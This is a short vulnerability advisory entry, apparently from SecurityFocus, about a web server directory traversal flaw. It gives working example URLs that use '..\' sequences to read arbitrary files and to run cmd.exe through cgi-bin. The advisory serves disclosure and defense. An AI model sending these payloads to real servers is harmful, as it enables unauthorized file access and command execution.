source: http://www.securityfocus.com/bid/2334/info

A specially crafted URL composed of '..\' sequences along with the known filename will disclose the requested file. This vulnerability will also allow an attacker to execute arbitrary code with root privileges. 

Gaining access to a known file:

http://target/..\..\..\..\..\..\filename

Executing arbitrary commands:

http://target/cgi-bin/..\..\..\..\..\..\winnt\system32\cmd.exe?/c+dir+c:\